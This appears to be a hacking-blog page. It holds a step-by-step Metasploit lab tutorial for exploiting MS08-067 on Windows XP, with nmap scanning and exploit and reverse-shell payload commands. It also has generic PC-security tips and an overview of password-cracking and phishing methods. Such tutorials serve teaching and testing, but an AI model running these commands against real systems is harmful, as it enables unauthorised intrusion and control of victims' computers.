[Metasploit Tutorial] Hacking Windows XP using IP Address

Do you think it is possible to hack some one computer with just an ip address?! The answer is yes, if you are using unpatched(vulnerable) OS.  If you don’t believe me, then read the full article.

In this article i am going to demonstrate how to hack a remote computer by exploiting the  parsing flaw in the path canonicalization code of NetAPI32.dll through the Server Service(CVE-2008-4250). Before we jump into the actual exploitation process, let me give more details about this Server Service Vulnerability.

Details about Server Service Vulnerability(MS08-067):
Microsoft Windows Server service provides support for sharing resources such as files and print services over the network.

The Server service is vulnerable to a remote code-execution vulnerability. The vulnerability is caused due to an error in netapi32.dll when processing directory traversal character sequences in path names. This can be exploited to corrupt stack memory by e.g. sending RPC requests containing specially crafted path names to the Server Service component. The ‘NetprPathCanonicalize()’ function in the ‘netapi32.dll’ file is affected.

A malicious request to vulnerable system results in complete compromise of vulnerable computers.
This vulnerability affects Windows XP, Windows 2000, Windows Server 2003, Windows Vista, and Windows Server 2008. But Attackers require authenticated access on Windows Vista and Server 2008 platforms to exploit this issue.

Exploiting the MS08-067 using Metasploit:

Requirements:

• VirtualBox
• Backtrack 5
• Target OS(XP)

Step 1:

Create Two Virtual Machine(VM) namely “Target” and “BT5”.  Install the XP inside Target VM and Backtrack inside BT5. Start the Two VMs.

If you don’t know how to create virtual machines , then please read this VirtualBox Manual.

Step 2: Find the IP address of Target
Open The command prompt in the Target machine(XP). Type “ipconfig” to find the IP address of the Target system.

Hackers use different method for finding the ip address of victim.  For Eg., By sending link that will get the ip  details or use Angry IP Scanner.

Step 3: Information Gathering
Now let us collect some information about the Target machine.  For this purpose , we are going to use the nmap tool.

Open The Terminal in the BT5 machine(Backtrack) and type “nmap -O 192.168.56.12“.  Here 192.168.56.12 is IP address of Target machine. If you look at the result, you can find the list of open 

ports and OS version.

Step 4: Metasploit
Now open the Terminal in the BT5 machine(Backtrack) and Type “msfconsole“.

The msfconsole is the most popular interface to the Metasploit Framework. It provides an “all-in-one” centralized console and allows you efficient access to virtually all of the options available in the Metasploit Framework.

Let us use the Search command to find the exploit modules with the keyword netapi. Type “search netapi”.  Now you can see the list of modules match with the netapi.

We are going to exploit MS08-067 , so type “use exploit/windows/smb/ms08_067_netapi“.

Step 5: Set Payload
As usual, let use the Reverse Tcp Payload for this exploit also. Type “set payload windows/meterpreter/reverse_tcp” in the msfconsole.

Step 6: Options
Type “set LHOST 192.168.56.10“.  Here 192.168.56.10 is IP address of Backtrack machine.  You can find the ip address by typing ‘ifconfig’ command in the Terminal.

Type “set RHOST 192.168.56.12“.  Here 192.168.56.12 is IP address of Target machine.

Step 7: Exploiting
Ok, it is time to exploit the vulnerability, type “exploit” in the console. If the exploit is successful, you can see the following result.

Now we can control the remote computer using the meterpreter. For example, typing “screenshot” will grab the screenshot of the victim system.

5 Simple Steps to Protect Your PC from Hackers

In this world of ubiquitous computers and persistent threats from hackers, protecting your computer is a must.  The key pathway through which malware attacks the system is the Internet and its popular service, the Web.

There are numerous ways to protect and remove malware from our computers. No one method is enough to ensure your computer is secure. The more layers of defense, the harder for hackers to use your computer. Here are five simple, but critical steps to protect your computer,

• Install Firewall
• Install Antivirus Software
• Install Anti-Spyware Software
• Use Complex and Secure Passwords
• Check on the Security Settings of the Browser

Install Firewall

A firewall enacts the role of a security guard. There are of two types of firewalls: a software firewall and hardware firewall. Each serves similar, but different purposes. A firewall is the first step to provide security to the computer. It creates a barrier between the computer and any unauthorized program trying to come in through the Internet. If you are using a system at home, turn on the firewall permanently. It makes you aware if there are any unauthorized efforts to use your system.

Install Antivirus Software:

Antivirus is one other means to protect the computer. It is software that helps to protect the computer from any unauthorized code or software that creates a threat to the system. Unauthorized software includes viruses, keyloggers, trojans etc. This might slow down the processing speed of your computer, delete important files and access personal information. Even if your system is virus free, you must install an antivirus software to prevent the system from further attack of virus.

Antivirus software plays a major role in real time protection, its added advantage of detecting threats helps computer and the information in it to be safe. Some advanced antivirus programs provide automatic updates, this further helps to protect the PC from newly created viruses.

Antivirus for Windows 8 software may include advanced features such as email protection, blocking of pop-ups and identity theft.

Install Anti-Spyware Software:

Spyware is a software program that collects personal information or information about an organization without their approval. This information is redirected to a third party website. Spyware are designed in such a way that they are not easy to be removed. Anti-Spyware software is solely dedicated to combat spyware. Similar to antivirus software, anti-spyware software offers real time protection. It scans all the incoming information and helps in blocking the threat once detected. Comodo Free Antivirus comes with spyware protection built in.

Use Complex and Secure Passwords:

The first line of defence in maintaining system security is to have strong and complex passwords. Complex passwords are difficult for the hackers to find. Use a password that is at least 8 characters in length and include a combination of numbers, letters that are both upper and lower case and a special character. Hackers use certain tools to break easy passwords in few minutes. One recent study showed that a 6 character password with all lower case letters can be broken in under 6 minutes!

Check on the Security Settings of the Browser:

Browsers have various security and privacy settings that you should review and set to the level you desire. Recent browsers give you ability to tell web sites to not track your movements, increasing your privacy and security.

Password cracking techniques

Hello guys here i'm going to explain few most successful password cracking technique..so lets start:

1. Social Engineering:-

 Social engineering is when a hacker takes advantage of trusting human beings to get information from them. For example, if the hacker was trying to get the password for a co-workers computer, he (Even though I use “he”, hackers are of both genders, and I just chose to use “he” in these examples.) could call the co-worker pretending to be from the IT department.

2. Shoulder Surfing:- Shoulder surfing is exactly what it sounds like. The hacker would simply attempt to look over your shoulder as you type in your password. The hacker may also watch weather you glance around your desk, looking for a written reminder or the written password itself. 

3. Guessing – If you use a weak password, a hacker could simple guess it by using the information he knows about you. Some examples of this are: date of birth things like these.


here are a high-tech techniques that require some application :
1.  Dictionary Attacks

 A dictionary attack is when a text file full of commonly used passwords, or a list of every word from the dictionary is used against a password database. Strong passwords usually aren’t vulnerable to this kind of attack. You can use Brutus, a very common password cracker, to show a dictionary attack against an ftp server. Brutus is a Windows only program 

2. Brute-force Attacks - With time, brute-force attacks can crack any passwords. Brute-force attacks try every possible combination of letters, numbers, and special characters until the right password is found. Brute-force attacks can take a long time. The speed is determined by the speed of the computer running the cracking program and the complexity of the password.

3. Rainbow Tables - A Rainbow table is a huge pre-computed list of hash values for every possible combination of characters. A password hash is a password that has gone through a mathematical algorithm that transformed it into something absolutely foreign. A hash is a one way encryption so once a password is hashed there is no
way to get the original string from the hashed string. A very common hashing algorithm used as security to store passwords in website databases is MD5. 

Let’s say you are registering for a website. You put in a username and password. Now when you submit, your password goes through the MD5 algorithm and the outcome hash is stored in a database. Now since you can’t get the password from the hash, you may be wondering how they know if your password is right when you login. Well when you login and submit your username and password, a script takes your password and runs it through the md5 algorithm. The outcome hash is compared to the hash stored in the database. If they are the same, you are admitted.

If I were to run the word “cheese” through the md5 algorithm, the outcome would be fea0f1f6fede90bd0a925b4194deac11. Having huge tables of every possible character combination hashed is a much better alternative to brute-force cracking. Once the rainbow tables are created, cracking the password is a hundred times faster than brute-forcing it. 

4. Phishing - Phishing is the process of stealing sensitive information, such as usernames, passwords, and bank information, by pretending to be someone you’re not. An example of this would be if you receive and e-mail from a hacker pretending to be your bank. In this e-mail, it might tell you that you need to update your account before it expires, and then the hacker provides a link. Once you click on the link, you arrive at a website that looks exactly like your actual bank page. In reality it’s just a perfect replica, and when you input your login details, it sends it to the hackers email or stores it on his web server. Hackers that create the best, most deceiving phishing web pages are knowledgeable in the area of HTML and the php programming. 


Above mentioned password cracking techniques are very much successful.